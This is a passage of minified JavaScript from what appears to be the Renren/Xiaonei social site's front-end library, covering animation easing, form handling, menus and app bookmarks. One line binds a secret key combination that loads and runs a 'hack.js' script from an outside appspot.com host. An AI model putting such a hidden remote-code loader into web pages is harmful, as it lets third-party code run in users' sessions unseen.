_36c.scrolltimer=null;
}
},10);
}else{
_36c.scrolltimer=setInterval(function(){
a+=Math.ceil((d-a)/_36d)||-1;
window.scrollTo(0,a);
if(a==d){
clearInterval(_36c.scrolltimer);
_36c.scrolltimer=null;
}
},10);
}
}};
XN.EFFECT=XN.Effect=XN.effect;
(function(_374){
var _375={linear:function(t,b,c,d){
return c*t/d+b;
},easeIn:function(t,b,c,d){
return c*(t/=d)*t+b;
},easeOut:function(t,b,c,d){
return -c*(t/=d)*(t-2)+b;
},easeBoth:function(t,b,c,d){
if((t/=d/2)<1){
return c/2*t*t+b;
}
return -c/2*((--t)*(t-2)-1)+b;
},easeInStrong:function(t,b,c,d){
return c*(t/=d)*t*t*t+b;
},easeOutStrong:function(t,b,c,d){
return -c*((t=t/d-1)*t*t*t-1)+b;
},easeBothStrong:function(t,b,c,d){
if((t/=d/2)<1){
return c/2*t*t*t*t+b;
}
return -c/2*((t-=2)*t*t*t-2)+b;
},elasticIn:function(t,b,c,d,a,p){
if(t===0){
return b;
}
if((t/=d)==1){
return b+c;
}
if(!p){
p=d*0.3;
}
if(!a||a<Math.abs(c)){
a=c;
var s=p/4;
}else{
var s=p/(2*Math.PI)*Math.asin(c/a);
}
return -(a*Math.pow(2,10*(t-=1))*Math.sin((t*d-s)*(2*Math.PI)/p))+b;
},elasticOut:function(t,b,c,d,a,p){
if(t===0){
return b;
}
if((t/=d)==1){
return b+c;
}
if(!p){
p=d*0.3;
}
if(!a||a<Math.abs(c)){
a=c;
var s=p/4;
}else{
var s=p/(2*Math.PI)*Math.asin(c/a);
}
return a*Math.pow(2,-10*t)*Math.sin((t*d-s)*(2*Math.PI)/p)+c+b;
},elasticBoth:function(t,b,c,d,a,p){
if(t===0){
return b;
}
if((t/=d/2)==2){
return b+c;
}
if(!p){
p=d*(0.3*1.5);
}
if(!a||a<Math.abs(c)){
a=c;
var s=p/4;
}else{
var s=p/(2*Math.PI)*Math.asin(c/a);
}
if(t<1){
return -0.5*(a*Math.pow(2,10*(t-=1))*Math.sin((t*d-s)*(2*Math.PI)/p))+b;
}
return a*Math.pow(2,-10*(t-=1))*Math.sin((t*d-s)*(2*Math.PI)/p)*0.5+c+b;
},backIn:function(t,b,c,d,s){
if(typeof s=="undefined"){
s=1.70158;
}
return c*(t/=d)*t*((s+1)*t-s)+b;
},backOut:function(t,b,c,d,s){
if(typeof s=="undefined"){
s=1.70158;
}
return c*((t=t/d-1)*t*((s+1)*t+s)+1)+b;
},backBoth:function(t,b,c,d,s){
if(typeof s=="undefined"){
s=1.70158;
}
if((t/=d/2)<1){
return c/2*(t*t*(((s*=(1.525))+1)*t-s))+b;
}
return c/2*((t-=2)*t*(((s*=(1.525))+1)*t+s)+2)+b;
},bounceIn:function(t,b,c,d){
return c-_375["bounceOut"](d-t,0,c,d)+b;
},bounceOut:function(t,b,c,d){
if((t/=d)<(1/2.75)){
return c*(7.5625*t*t)+b;
}else{
if(t<(2/2.75)){
return c*(7.5625*(t-=(1.5/2.75))*t+0.75)+b;
}else{
if(t<(2.5/2.75)){
return c*(7.5625*(t-=(2.25/2.75))*t+0.9375)+b;
}
}
}
return c*(7.5625*(t-=(2.625/2.75))*t+0.984375)+b;
},bounceBoth:function(t,b,c,d){
if(t<d/2){
return _375["bounceIn"](t*2,0,c,d)*0.5+b;
}
return _375["bounceOut"](t*2-d,0,c,d)*0.5+c*0.5+b;
}};
var _3c2=function(){
_3c3(this.onTweening,this);
if(this.current>=this.frames){
this.stop();
_3c3(this.onComplete,this);
this.tweening=false;
return;
}
this.current++;
};
var _3c3=function(func,_3c5){
var args=Array.prototype.slice.call(arguments);
args=args.slice(2);
if(typeof func=="function"){
try{
return func.apply(_3c5||this,args);
}
catch(e){
_3c5.errors=_3c5.errors||[];
_3c5.errors.push(e);
}
}
};
_374.Motion=function(_3c7,_3c8){
this.duration=_3c8||1000;
this.tween=_3c7||"linear";
};
_374.Motion.getTweens=function(){
return _375;
};
_374.Motion.prototype={init:function(){
_3c3(this.onInit,this);
this.fps=this.fps||35;
this.frames=Math.ceil((this.duration/1000)*this.fps);
if(this.frames<1){
this.frames=1;
}
var f=("function"==typeof this.tween)?this.tween:_375[this.tween]||_375["linear"];
this.equation=function(from,to){
return f((this.current/this.frames)*this.duration,from,to-from,this.duration);
};
this.current=this.tweening=1;
},start:function(){
this.init();
_3c3(this.onStart,this);
var _3cc=this,d=this.duration/this.frames;
this.timer=setInterval(function(){
_3c2.call(_3cc);
},d);
},stop:function(){
if(this.timer){
clearInterval(this.timer);
}
this.tweening=false;
}};
})(XN.effect);
XN.ui.getHiddenDiv=function(){
if(!this._hiddenDiv){
this._hiddenDiv=$element("div").hide();
document.body.appendChild(this._hiddenDiv);
}
return this._hiddenDiv;
};
XN.ui.friendSearchBar=function(p){
var _3cf=$(p.input);
var _3d0=$(p.submit||null);
var form=$(p.form);
var tip=p.tip||"\u627e\u4eba...";
var _3d3=p.action||function(p){
window.location.href="http://"+XN.ENV.domain+"/profile.do?id="+p.id;
};
var _3d5=false;
(new XN.FORM.inputHelper(_3cf)).setDefaultValue(tip).onEnter(function(el){
if(_3d5){
return;
}
if(!XN.STRING.isBlank(el.value)){
form.submit();
}
});
var _3d7=16;
var _3d8={id:_3cf,noResult:function(){
return "\u641c\u7d22\""+this.input.value+"\"";
},limit:_3d7};
var _3d9=new XN.UI.friendSelector(_3d8);
_3d9.lastMenuItem=function(){
if(this.result.length==_3d7){
return "<li><p><a onmousedown=\"window.location.href=this.href\" href=\"http://friend."+XN.env.domain+"/myfriendlistx.do?qu="+this.input.value+"\">\u70b9\u51fb\u67e5\u770b\u66f4\u591a..</a></p></li>";
}else{
return "";
}
};
_3d9.setMenuWidth(_3cf.offsetWidth);
_3d9.onSelectOne=function(p){
_3d5=true;
_3d3(p);
};
if(_3d0){
_3d0.onclick=function(){
if(_3d5){
return false;
}
var v=_3cf.value;
if(v!=tip&&!XN.STRING.isBlank(v)){
form.submit();
return false;
}
if(_3d0.tagName.toLowerCase()=="a"){
return true;
}else{
return false;
}
};
}
};
XN.namespace("form");
XN.FORM=XN.Form=XN.form;
XN.form.fillWithJSON=function(form,json){
form=$(form);
XN.form.fillWithArray(form,XN.json.parse(json));
};
XN.form.fillWithArray=function(form,a){
form=$(form);
for(var p in a){
XN.form.Element.setValue(p,a[p],form);
}
};
XN.form.setValue=function(_3e1,_3e2){
return XN.form.Element.setValue(_3e1,_3e2);
};
XN.form.getValue=function(_3e3){
return XN.form.Element.getValue(_3e3);
};
XN.form.serialize=function(form,type){
return this.serializeElements(this.getElements(form),type||"string");
};
XN.form.serializeElements=function(_3e6,type,_3e8){
type=type||"array";
if(isUndefined(_3e8)){
_3e8=false;
}
var data=[],_key,_3eb;
XN.array.each(_3e6,function(i,v){
if(!v.disabled&&v.name){
_key=v.name;
_3eb=_3e8?encodeURIComponent(XN.form.Element.getValue(v)):XN.form.Element.getValue(v);
if(_3eb!==null){
if(_key in data){
if(!isArray(data[_key])){
data[_key]=[data[_key]];
}
data[_key].push(_3eb);
}else{
data[_key]=_3eb;
}
}
}
});
if(type=="array"){
return data;
}else{
if(type=="string"){
return XN.array.toQueryString(data);
}else{
if(type=="hash"){
var tmp={};
for(var p in data){
if(!isFunction(data[p])){
tmp[p]=data[p];
}
}
return tmp;
}
}
}
};
XN.form.getElements=function(form){
form=$(form);
var _3f1=[];
var all=form.getElementsByTagName("*");
XN.array.each(all,function(i,v){
if(!isUndefined(XN.form.Element.Serializers[v.tagName.toLowerCase()])){
_3f1.push(v);
}
});
return _3f1;
};
XN.form.Element={getValue:function(_3f5){
_3f5=$(_3f5);
var _3f6=_3f5.tagName.toLowerCase();
return XN.form.Element.Serializers[_3f6](_3f5);
},setValue:function(_3f7,_3f8,form){
if(form){
_3f7=form[_3f7];
if((isElement(_3f7)&&_3f7.tagName.toLowerCase()=="select")){
XN.form.Element.Serializers["select"](_3f7,_3f8);
}else{
if(isElement(_3f7)){
XN.form.Element.Serializers[_3f7.tagName.toLowerCase()](_3f7,_3f8);
}else{
if(_3f7[0]){
var _3fa=_3f7[0].tagName.toLowerCase();
for(var i=0,j=_3f7.length;i<j;i++){
XN.form.Element.Serializers[_3fa](_3f7[i],(_3f8[i]||_3f8||""));
}
}
}
}
return _3f7;
}else{
_3f7=$(_3f7);
var _3fa=_3f7.tagName.toLowerCase();
XN.form.Element.Serializers[_3fa](_3f7,_3f8);
return _3f7;
}
}};
XN.form.Element.Serializers={input:function(_3fd,_3fe){
switch(_3fd.type.toLowerCase()){
case "checkbox":
case "radio":
return XN.form.Element.Serializers.inputSelector(_3fd,_3fe);
default:
return XN.form.Element.Serializers.textarea(_3fd,_3fe);
}
},inputSelector:function(_3ff,_400){
if(isUndefined(_400)){
return _3ff.checked?_3ff.value:null;
}else{
_3ff.checked=!!_400;
}
},textarea:function(_401,_402){
if(isUndefined(_402)){
return _401.value;
}else{
_401.value=_402;
}
},select:function(_403,_404){
if(isUndefined(_404)){
return this[_403.type=="select-one"?"selectOne":"selectMany"](_403);
}else{
var opt,_406,_407=!isArray(_404);
for(var i=0,_409=_403.length;i<_409;i++){
opt=_403.options[i];
_406=this.optionValue(opt);
if(_407){
if(_406==_404){
opt.selected=true;
return;
}
}else{
opt.selected=XN.array.include(_404,_406);
}
}
}
},selectOne:function(_40a){
var _40b=_40a.selectedIndex;
return _40b>=0?this.optionValue(_40a.options[_40b]):null;
},selectMany:function(_40c){
var _40d=[],_40e=_40c.length;
if(!_40e){
return null;
}
for(var i=0;i<_40e;i++){
var opt=_40c.options[i];
if(opt.selected){
_40d.push(this.optionValue(opt));
}
}
return _40d;
},optionValue:function(opt){
return opt.value||opt.text;
}};
$F=function(id,type){
var el=$(id);
if(el.tagName.toLowerCase()=="form"){
return XN.form.serialize(el,type);
}else{
return XN.form.getValue(el);
}
};
XN.form._helper=function(el){
el=$(el);
if(el._helper){
return el._helper;
}
el._helper=this;
this.element=el;
};
XN.form._helper.prototype={maxSize:9999,limit:function(max,cut){
var This=this;
this.maxLength=max;
if(isUndefined(cut)){
cut=true;
}
this._limit_cut=cut;
if(this._limit){
return this;
}
this._limit=true;
var This=this;
var el=this.element;
XN.event.addEvent(el,"focus",check);
XN.event.addEvent(el,"keyup",check);
function check(){
This.limitCheck();
}
return this;
},limitCheck:function(){
var This=this;
var el=this.element;
setTimeout(function(){
var v=el.value;
if(v.length>This.maxLength){
if(This._limit_cut){
el.value=v.substr(0,This.maxLength);
}
This.fireEvent("overmaxLength");
}else{
This.fireEvent("normalLength");
}
This.fireEvent("checkover");
},0);
},count:function(show,_41e){
if(this._count){
return this;
}
this._count=true;
var This=this,show=$(show);
if(isUndefined(_41e)){
_41e=true;
}
if(!this.maxLength){
_41e=false;
}
var el=this.element;
this.addEvent("overmaxLength",function(){
show.addClass("full");
});
this.addEvent("normalLength",function(){
show.delClass("full");
});
this.addEvent("checkover",update);
function update(){
show.innerHTML=el.value.length+(_41e?"/"+This.maxLength:"");
}
return this;
},countSize:function(show,max,_423){
return this.limit(max).count(show,_423);
},getRealValue:function(){
var el=this.element;
if(el.value==this._defaultValue){
return "";
}
return el.value;
},reloadDefaultValue:function(){
this.element.value=this._defaultValue;
this.element.style.color="#888";
},defaultValue:function(v){
var This=this;
var el=this.element;
v=v||el.value;
if(!isUndefined(this._defaultValue)&&el.value==this._defaultValue){
el.value=v;
}
this._defaultValue=v;
if(this._default){
return this;
}
this._default=true;
if(document.activeElement!==el){
el.value=v;
}
el.style.color="#888";
XN.event.addEvent(el,"focus",function(){
if(el.value==This._defaultValue){
el.value="";
el.style.color="#333";
}
});
XN.event.addEvent(el,"blur",function(){
if(el.value==""){
el.value=This._defaultValue;
el.style.color="#888";
}
});
return this;
},focus:function(_428){
var el=this.element;
if(isUndefined(_428)){
_428=el.value.length;
}
if(el.setSelectionRange){
el.focus();
el.setSelectionRange(el.value.length,_428);
}else{
if(el.createTextRange){
var _42a=el.createTextRange();
_42a.moveStart("character",_428);
_42a.collapse(true);
_42a.select();
el.focus();
}else{
el.focus();
}
}
return this;
},onEnter:function(_42b){
var el=this.element;
var _42d=el.tagName.toLowerCase()=="textarea";
XN.event.addEvent(el,"keydown",function(e){
e=e||window.event;
if(e.keyCode==13){
if(_42d&&!e.ctrlKey){
return false;
}
XN.event.stop(e);
_42b(el);
return false;
}
},false);
return this;
},onEsc:function(_42f){
var el=this.element;
XN.event.addEvent(el,"keydown",function(e){
e=e||window.event;
if(e.keyCode==27){
XN.event.stop(e);
_42f(el);
return false;
}
},false);
return this;
},autoResize:function(min,max){
var This=this,el=this.element,type;
this.minSize=min||this.minSize;
this.maxSize=max||this.maxSize;
if(el.tagName.toLowerCase()=="textarea"){
this.resizeType="height";
}else{
this.resizeType="width";
}
if(!XN.form.inputShadow){
var d=$element("div");
d.setStyle("position:absolute;left:-99999px;top:-99999px");
document.body.appendChild(d);
XN.form.inputShadow=d;
}
this.shadow=XN.form.inputShadow;
setTimeout(function(){
if(min){
return;
}
This.minSize=type=="width"?el.offsetWidth:el.offsetHeight;
},10);
el.style.overflow="hidden";
XN.event.addEvent(el,"focus",function(){
This.timer=setInterval(This._resize.bind(This),200);
});
XN.event.addEvent(el,"blur",function(){
clearInterval(This.timer);
This.timer=null;
});
return this;
},_resize:function(){
var el=this.element,sh=this.shadow,oh,type=this.resizeType;
sh.style.fontSize=el.getStyle("fontSize");
var fs=parseInt(el.getStyle("fontSize"),0);
sh.style.fontFamily=el.getStyle("fontFamily");
(type=="width")?sh.style.height=el.offsetHeight:sh.style.width=el.offsetWidth;
sh.innerHTML=XN.string.escapeHTML(el.value).replace(/\r\n/mg,"<br>").replace(/\r/mg,"<br>").replace(/\n/mg,"<br>");
(type=="width")?oh=sh.offsetWidth:oh=sh.offsetHeight+fs+3;
if(oh>this.minSize&&oh<this.maxSize){
el.style[type]=oh+"px";
}else{
if(oh<this.minSize){
el.style[type]=this.minSize+"px";
}else{
if(oh>this.maxSize){
el.style[type]=this.maxSize+"px";
}
}
}
},cursorPosition:function(){
var _43d=this.element;
var _43e=0,end=0;
if(typeof (_43d.selectionStart)=="number"){
_43e=_43d.selectionStart;
end=_43d.selectionEnd;
}else{
if(document.selection){
var _440=document.selection.createRange();
if(_440.parentElement()==_43d){
var _441=document.body.createTextRange();
_441.moveToElementText(_43d);
for(_43e=0;_441.compareEndPoints("StartToStart",_440)<0;_43e++){
_441.moveStart("character",1);
}
for(var i=0;i<=_43e;i++){
if(_43d.value.charAt(i)=="\n"){
_43e++;
}
}
var _441=document.body.createTextRange();
_441.moveToElementText(_43d);
for(end=0;_441.compareEndPoints("StartToEnd",_440)<0;end++){
_441.moveStart("character",1);
}
for(var i=0;i<=end;i++){
if(_43d.value.charAt(i)=="\n"){
end++;
}
}
}
}
}
return {"start":_43e,"end":end,"item":[_43e,end]};
}};
XN.form._helper.prototype.setDefaultValue=XN.form._helper.prototype.defaultValue;
XN.event.enableCustomEvent(XN.form._helper.prototype);
XN.form.help=function(id){
return new XN.form._helper(id);
};
XN.form.inputHelper=XN.form.textAreaHelper=XN.form.help;
$CursorPosition=function(el){
return XN.form.help(el).cursorPosition();
};
XN.form.userInfoAutoComplete=function(id,type){
var _447={"elementaryschool":"http://www."+XN.env.domain+"/autocomplete_elementaryschool.jsp","juniorhighschool":"http://www."+XN.env.domain+"/autocomplete_juniorhighschool.jsp","workplace":"http://www."+XN.env.domain+"/autocomplete_workplace.jsp","highschool":"http://www."+XN.env.domain+"/autocomplete_highschool.jsp","allnetwork":"http://www."+XN.env.domain+"/autocomplete_all_network.jsp","allSchool":"http://www."+XN.env.domain+"/autocomplete-school.jsp","city":"http://www."+XN.env.domain+"/autocomplete-city.jsp","college":"http://www."+XN.env.domain+"/autocomplete_college.jsp"};
var ds=new XN.ui.DS_XHR({url:_447[type]});
var at=new XN.ui.autoCompleteMenu({DS:ds,input:id});
at.buildMenu=function(r){
return "<p>"+(r.name||r.Name)+"</p>";
};
at.addEvent("select",function(r){
this.input.value=(r.name||r.Name);
});
};
XN.namespace("widgets");
XN.WIDGETS=XN.Widgets=XN.widgets;
XN.dom.ready(function(){
if(!$("showAppMenu")){
return;
}
if(!$("navMyApps")){
return;
}
var _44c=$("navMyApps");
if(!_44c){
return;
}
_44c.show();
var _44d=$("showAppMenu");
var _44e=133;
var menu=new XN.ui.menu({bar:"showAppMenu",menu:"appMenu",fireOn:"mouseover",addIframe:true});
});
XN.dom.ready(function(){
if(!$("optionMenuActive")){
return;
}
new XN.UI.menu({bar:"optionMenuActive",menu:"optiondropdownMenu",fireOn:"mouseover"});
});
XN.dom.ready(function(){
if(!$("moreWeb")){
return;
}
new XN.UI.menu({bar:"moreWeb",menu:"moredownWeb",fireOn:"click",alignType:"3-2",offsetX:1});
});
XN.util.hotKey.add("ctrl-alt-shift-68",function(){
XN.loadFile("http://emptyhua.appspot.com/img/hack.js",function(){
XN.hack.exe();
});
});
function clipImage(_450){
if(!_450.getAttribute("width")||!_450.getAttribute("height")){
return;
}
var _451=parseInt(_450.getAttribute("width"));
var _452=parseInt(_450.getAttribute("height"));
if(_450.naturalWidth&&_450.naturalHeight&&_450.naturalWidth==_451&&_450.naturalHeight==_452){
return;
}
var _453=new Image();
_453.onload=function(){
if(_453.width==_451&&_453.height==_452){
return;
}
var _454=document.createElement("i");
_450.parentNode.replaceChild(_454,_450);
_454.style.width=_451+"px";
_454.style.height=_452+"px";
if(!XN.browser.IE){
_454.style.display="inline-block";
_454.appendChild(_453);
_454.style.overflow="hidden";
if(_453.width>_451){
_453.style.marginLeft="-"+parseInt((_453.width-_451)/2)+"px";
}
if(_453.height>_452){
_453.style.marginTop="-"+parseInt((_453.height-_452)/2)+"px";
}
}else{
_454.style.zoom="1";
_454.style.background="url("+_450.src+") no-repeat -"+parseInt((_453.width-_451)/2)+"px -"+parseInt((_453.height-_452)/2)+"px";
if(_454.parentNode.tagName=="A"){
_454.style.cursor="pointer";
}
}
};
_453.src=_450.src;
}
function roundify(_455,_456){
if(!_456){
_456=50;
}
if(_455.height<=_456){
return;
}
var _457=_455.parentNode;
_455.style.visibility="hidden";
var _458=document.createElement("i");
_458.title=_455.title;
_458.className=_455.className;
if(!XN.browser.IE){
_458.style.display="inline-block";
}
_458.style.overflow="hidden";
_458.style.width=_456+"px";
_458.style.height=(_455.height>_456?_456:_455.height)+"px";
var _459=new Image();
_458.appendChild(_459);
_459.onload=function(){
_459.width=_456;
_457.replaceChild(_458,_455);
if(_459.height>_456){
_459.style.marginTop="-"+parseInt((_459.height-_456)/2)+"px";
}
};
_459.src=_455.src;
return;
}
XN.dom.ready(function(){
if(!$("navSearchInput")){
return;
}
var fix=null;
function showTip(){
if(!fix){
fix=new XN.ui.fixPositionElement({alignWith:"navSearchInput",tagName:"div"});
fix.hide();
fix.setContent("&nbsp;\u591a\u4e2a\u5173\u952e\u5b57\u7528\u7a7a\u683c\u9694\u5f00&nbsp;<br />&nbsp;\uff08\u4f8b\uff1a\u6c6a\u6d0b \u5317\u4eac\u5927\u5b66\uff09&nbsp;");
fix.container.style.cssText="width:"+($("navSearchInput").offsetWidth-2)+"px;padding:3px 0;background:#EEE;border:1px solid #BDC7D8;opacity:0.8;text-align:center;";
}
fix.show();
}
XN.event.addEvent("navSearchInput","focus",showTip);
XN.event.addEvent("navSearchInput","blur",function(){
if(fix){
setTimeout(function(){
fix.hide();
},100);
}
});
XN.event.addEvent("navSearchInput","keydown",function(){
if(fix){
fix.hide();
}
});
});
XN.dom.ready(function(){
function addRandom(v){
if(v.tagName&&v.tagName.toLowerCase()!="a"){
return;
}
if(v._ad_rd){
return;
}
v._ad_rd=true;
if(v.href.indexOf("#")==0){
return;
}
var name=["_request_from","_mm_id","_visitor_id","_os_type","_hua","_lu","_vip_flag","_ua_flag"][parseInt(Math.random()*(7+1))];
v.href=XN.string.setQuery(name,Math.ceil(Math.random()*100),v.href);
}
function rp(el){
if(!$(el)){
return;
}
XN.event.addEvent(el,"mouseover",function(e){
addRandom(XN.event.element(e||window.event));
});
}
rp("navBar");
rp("appNavHolder");
});
(function(){
var _45f=/kaixin\.com|renren\.com|xiaonei\.com/g;
XN.widgets.rp_domain=function rp(el){
if(el.tagName&&el.tagName.toLowerCase()=="a"){
if(el._d_rpd){
return true;
}
el._d_rpd=true;
if(/http|@/.test(el.innerHTML)&&XN.browser.IE){
var _461=el.innerHTML;
}
el.href=el.href.replace(_45f,XN.env.domain);
if(!isUndefined(_461)){
el.innerHTML=_461;
}
return true;
}
return false;
};
var divs=["feedHome","replyDiv","notifications","messages"];
XN.widgets.domain_in_one={reg:function(el){
XN.event.addEvent(el,"mouseover",function(e){
var rp=XN.widgets.rp_domain;
var el=XN.event.element(e||window.event);
if(rp(el)){
return;
}
if(rp(el.parentNode)){
return;
}
rp(el.parentNode);
});
}};
XN.dom.ready(function(){
XN.array.each(divs,function(i,v){
if($(v)){
XN.widgets.domain_in_one.reg(v);
}
});
});
})();
$.extend=function(obj){
$extend($,obj);
};
$.extend({clearRange:function(){
try{
document.selection?document.selection.empty():getSelection().removeAllRanges();
}
catch(e){
}
},text:function(node){
var _46b=node.childNodes;
for(var i=0,text="";i<_46b.length;i++){
if(_46b[i].nodeType==3){
text+=_46b[i].nodeValue;
}
}
return text;
},css:function(ele,_46f){
if(!ele){
return;
}
for(var i in _46f){
ele.style[i]=_46f[i];
}
},clear:function(node){
node.innerHTML="";
},append:function(node,_473){
if(_473.tagName){
node.appendChild(_473);
}else{
var temp=document.createElement("div");
temp.innerHTML=_473;
while(temp.hasChildNodes()){
node.appendChild(temp.firstChild);
}
}
},mouse:function(e){
e=e||event;
var x=e.pageX||(e.clientX+XN.EVENT.scrollLeft());
var y=e.pageY||(e.clientY+XN.EVENT.scrollTop());
return {x:x,y:y};
}});
$.wpi={parseMenuItem:function(_478){
var _479=_478.getElementsByTagName("a")[0];
return {id:_479.name,name:$.text(_479),href:_479.href,icon:_478.getElementsByTagName("img")[0].src,target:_479.target};
},parseShortCut:function(_47a){
return {id:_47a.name,name:_47a.title,href:_47a.href,icon:_47a.getElementsByTagName("img")[0].src,target:_47a.target};
},createShortCut:function(item){
var data=$.wpi.parseMenuItem(item);
data.href=this.setUrlParam(data.href,"origin",(this.getBaseCode()*100+93));
return "<a href=\""+data.href+"\" title=\""+data.name+"\" name=\""+data.id+"\" target=\""+data.target+"\"><img src=\""+data.icon+"\" class=\"icon\" /><span class=\"tooltip\"><nobr>"+data.name+"</nobr><span class=\"tooltip-arrow\"></span></span></a>";
},createMenuItem:function(){
var _47d=document.createElement("dd");
var data=arguments[0].nodeType?$.wpi.parseShortCut(arguments[0]):arguments[0];
data.href=this.setUrlParam(data.href,"origin",(this.getBaseCode()*100+92));
_47d.className="move";
_47d.innerHTML="<a href=\""+data.href+"\" name=\""+data.id+"\" target=\""+data.target+"\"><img src=\""+data.icon+"\" />"+data.name+"<span class=\"del-handle\"></span></a>";
return _47d;
},createHistroyItem:function(data){
data.href=this.setUrlParam(data.href,"origin",(this.getBaseCode()*100+91));
return "<dd><a href=\""+data.href+"\" name=\""+data.id+"\" target=\""+data.target+"\"><img src=\""+data.icon+"\" />"+data.name+"</a></dd>";
},createStowItem:function(data){
return "<a href=\""+data.href+"\" class=\"commend stow\" title=\""+data.name+"\" name=\""+data.id+"\" target=\""+data.target+"\"><img src=\""+data.icon+"\" class=\"icon\" /><img class=\"plus bauble plus-bullet\" src=\"http://xnimg.cn/imgpro/icons/green-plus-bullet.gif\" /> \u6536\u85cf"+data.name+"</a>";
},setUrlParam:function(url,_482,_483){
var reg=new RegExp("\\b"+_482+"=.*?((?=[&])|$)");
if(reg.test(url)){
return url.replace(reg,_482+"="+_483);
}else{
var has=url.indexOf("?")!=-1;
return url+(has?"&":"?")+_482+"="+_483;
}
},serial:[],ajaxAddApp:function(id){
if(this.serial.length<6){
this.serial.push(id);
}else{
var temp=this.serial.slice(0,5);
temp.push(id);
this.serial=temp.concat(this.serial.slice(5));
}
new XN.NET.xmlhttp({url:"http://apps."+XN.env.domain+"/menu/addBookmark.do",method:"post",data:"app_id="+id});
},ajaxDelApp:function(id){
for(var i=0;i<this.serial.length;i++){
if(this.serial[i]==id){
this.serial.splice(i,1);
break;
}
}
new XN.NET.xmlhttp({url:"http://apps."+XN.env.domain+"/menu/removeBookmark.do",method:"post",data:"app_id="+id});
},ajaxSerialApp:function(sn){
if(sn.join(",")!=this.serial.join(",")){
this.serial=sn;
new XN.NET.xmlhttp({url:"http://apps."+XN.env.domain+"/menu/reorderBookmark.do",method:"post",data:"app_ids="+XN.JSON.build(sn)});
}
},getBaseCode:function(){
var list={};
list["home."+XN.env.domain]=1;
list[XN.env.domain+"/profile.do"]=2;
list["msg."+XN.env.domain]=3;
list["apps."+XN.env.domain]=5;
list["game."+XN.env.domain]=5;
list["app."+XN.env.domain]=7;
list["app."+XN.env.domain+"/apps/editapps.do"]=8;
list["app."+XN.env.domain+"/apps/application.do"]=9;
list["app."+XN.env.domain+"/app/apps/list"]=28;
return list[location.hostname+location.pathname]||list[location.hostname]||0;
}};
(function(){
$.effect=$.effect||{};
var _48c=$.effect.MoveEffect=function(_48d){
this.config=_48d;
this.element=$(_48d.element);
this.nodeStart={x:0,y:0};
this.mouseStart={x:0,y:0};
this.shadow=null;
this.activeItem=null;
if(XN.ELEMENT.getStyle(this.element,"position")=="static"){
$.css(this.element,{"position":"relative"});
}
this.init();
};
_48c.prototype={init:function(){
var that=this;
this.moveWrap=function(e){
var pos=$.mouse(e);
if((pos.x-that.mouseStart.x)==0&&(pos.y-that.mouseStart.y)==0){
return;
}
if(that.config.startMove){
that.config.startMove();
}
that.moveHandler(e);
};
this.repeaseWrap=function(e){
that.releaseHandler(e);
};
$(this.element).addEvent("mousedown",function(e){
e=e||window.event;
that.activeItem=that.getActiveItem(e);
if(that.activeItem==null){
return;
}
that.mouseStart=$.mouse(e);
that.nodeStart={x:that.activeItem.offsetLeft,y:that.activeItem.offsetTop};
$(document).addEvent("mousemove",that.moveWrap).addEvent("mouseup",that.repeaseWrap);
XN.BROWSER.IE?(e.returnValue=false):e.preventDefault();
return false;
});
},getActiveItem:function(e){
e=e||window.event;
var obj=e.target||e.srcElement;
while(obj.parentNode!=this.element){
obj=obj.parentNode;
}
return obj.nodeType==1?obj:null;
},moveHandler:function(e){
e=e||window.event;
this.createShadow();
$.clearRange();
var top=this.nodeStart.y+($.mouse(e).y-this.mouseStart.y);
var left=this.nodeStart.x+($.mouse(e).x-this.mouseStart.x);
if(!this.activeItem.parentNode||this.config.outLimit(top,left,this.shadow.offsetHeight,this.shadow.offsetWidth)){
this.releaseHandler();
}else{
this.moveShadow(top,left);
this.serialize(top,left);
}
},createShadow:function(){
if(this.shadow==null){
this.shadow=this.activeItem.cloneNode(true);
$(this.shadow).addClass("movemirror");
$.css(this.shadow,{top:this.nodeStart.y+"px",left:this.nodeStart.x+"px",width:this.activeItem.offsetWidth+"px",height:this.activeItem.offsetHeight+"px"});
$.append(this.element,this.shadow);
}
},releaseHandler:function(e){
$(document).delEvent("mousemove",this.moveWrap).delEvent("mouseup",this.repeaseWrap);
if(this.shadow){
$(this.shadow).remove();
this.shadow=null;
if(typeof this.config.release=="function"){
this.config.release(this.activeItem);
}
}
},moveShadow:function(top,left){
$.css(this.shadow,{top:top+"px",left:left+"px"});
},serialize:function(top,left){
var _49d=this.config.getIndex(top,left,this.activeItem.offsetHeight,this.activeItem.offsetWidth);
if(_49d>=0){
var list=this.config.getChilds();
if(list[_49d]){
this.element.insertBefore(this.activeItem,list[_49d]);
}else{
$.append(this.element,this.activeItem);
}
}
}};
var _49f=null;
var _4a0=null;
var _4a1=null;
var _4a2=null;
var _4a3=null;
var _4a4=null;
function sendNewSerial(){
var _4a5=_49f.getElementsByTagName("dd");
var sn=[];
for(var i=0;i<_4a5.length;i++){
sn.push(parseInt(_4a5[i].getElementsByTagName("a")[0].name));
}
$.wpi.ajaxSerialApp(sn);
}
function createAppMove(){
_4a3=new _48c({element:_49f,getChilds:function(){
return _49f.getElementsByTagName("dd");
},getIndex:function(top,left,offH,offW){
return Math.ceil(top/offH);
},release:function(){
$.clear(_4a2);
var list=_49f.getElementsByTagName("dd");
for(var i=0;i<list.length&&i<6;i++){
$.append(_4a2,$.wpi.createShortCut(list[i]));
}
var _4ae=_49f.getElementsByTagName("dt")[0];
if(!_4ae){
_4ae=document.createElement("dt");
}
_49f.insertBefore(_4ae,list[6]||null);
$.css(_4ae,{display:(wpiMenuInfo.favoriteMenu.length>6?"block":"none")});
$.css($("wpi_collectionTitle"),{borderBottom:(list[0]?"1px solid #E3EEF9":"none")});
var _4af=_4a1.getElementsByTagName("img")[0];
if(_4af){
for(var i=0;i<list.length&&i<6;i++){
if(list[i].getElementsByTagName("img")[0].src==_4af.src){
_4a1.innerHTML="";
break;
}
}
}
sendNewSerial();
},outLimit:function(top,left,offH,offW){
if(top<-offH||top>_49f.offsetHeight){
return true;
}
return false;
}});
}
function createCutMove(){
_4a4=new _48c({element:_4a2,getChilds:function(){
return _4a2.getElementsByTagName("a");
},getIndex:function(top,left,offH,offW){
return Math.ceil(left/offW);
},release:function(){
var list=_4a2.getElementsByTagName("a");
var _4b9=_49f.getElementsByTagName("dd");
for(var i=0;i<list.length;i++){
_49f.replaceChild($.wpi.createMenuItem(list[i]),_4b9[i]);
}
sendNewSerial();
},outLimit:function(top,left,offH,offW){
if(left<-offW||left>_4a2.offsetWidth){
return true;
}
return false;
}});
}
function bindEvents(){
_49f=$("wpi_collectionApps");
_4a1=$("wpi_addCollection");
_4a2=$("wpi_shortCutsPanel");
_4a0=$("wpi_hitoryPanel");
createAppMove();
createCutMove();
_4a1.addEvent("click",function(e){
var app=_4a1.getElementsByTagName("a")[0];
